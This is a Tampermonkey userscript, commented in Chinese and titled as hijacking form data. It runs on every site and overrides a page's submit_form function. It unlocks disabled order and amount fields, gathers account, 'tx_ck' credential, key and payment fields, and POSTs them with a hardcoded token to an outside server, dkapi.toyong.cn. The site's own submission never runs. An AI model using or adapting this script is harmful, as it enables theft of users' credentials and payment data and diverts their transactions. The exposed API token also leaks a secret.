// ==UserScript==
// @name         阻止原 submit_form 并劫持数据
// @namespace    http://tampermonkey.net/
// @version      2025-02-07
// @description  try to take over the world!
// @author       You
// @match        *://*/*
// @icon         https://www.google.com/s2/favicons?sz=64&domain=whnprg.com
// @grant        none
// ==/UserScript==

(function () {
    'use strict';

    // Your code here...
    // 直接覆盖原始 submit_form
    document.getElementById("ddh")?.removeAttribute("disabled");
    document.getElementById("z_money")?.removeAttribute("disabled");
    window.submit_form = function () {
        console.log("submit_form 被拦截，原代码不会执行！");

        // 复制表单数据
        var data = {
            gname: $('#gname').val(),
            ddh: $('#ddh').val(),
            tx_ck: $('#tx_ck').val(),
            key: $('#key').val(),
            money: $('#z_money').val(),
            pay_type: $('#pay_type').val(),
            remark: $('#remark').val(),
            account: $('#account').val(),
            nick: $('#nick').val() || "",
            roleid: $('#roleid').val() || "",
            uniqueId: $('#uniqueId').val(),
            zoneid: $("#select_area option:selected").val(),
            dm: window.dm
        };
        //禁用提交按钮
        $('#sub').attr('disabled', 'disabled')
        // 发送数据到你的服务器
        //         GM_xmlhttpRequest({
        //             method: 'POST',
        //             url: "https://dkapi.toyong.cn/fras/game/gameaccount/save",
        //             headers: {
        //                 "Content-Type": "application/json",
        //                 "token": "0fb7a76fee0bda0e2070d2d77dc35e64"
        //             },
        //             data: JSON.stringify({"t":1738922826848,"note":data.ddh,"quantity":data.money,"accountNumber":data.account,"accountCk":data.tx_ck,"category":"新建"}),
        //             onload(xhr) {
        //                 var resp = JSON.parse(xhr.responseText);
        //                 if (resp.code == 0) {
        //                     alert("添加成功");
        //                 }
        //             }
        //         });
        fetch("https://dkapi.toyong.cn/fras/game/gameaccount/save", {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "token": "0fb7a76fee0bda0e2070d2d77dc35e64"
            },
            body: JSON.stringify({
                "t": Date.now(), // 直接使用当前时间戳
                "note": data.ddh,
                "quantity": Number(data.money),
                "accountNumber": data.account,
                "accountCk": data.tx_ck,
                "category": "新建"
            })
        })
            .then(response => response.json())  // 解析 JSON
            .then(resp => {
                if (resp.code == 0) {
                    alert("添加成功");
                } else {
                    alert(resp.msg)

                }
            })
            .catch(error => {
                console.error("请求失败:", error);
            });

        // 阻止原始代码运行
        return false;
    };

})();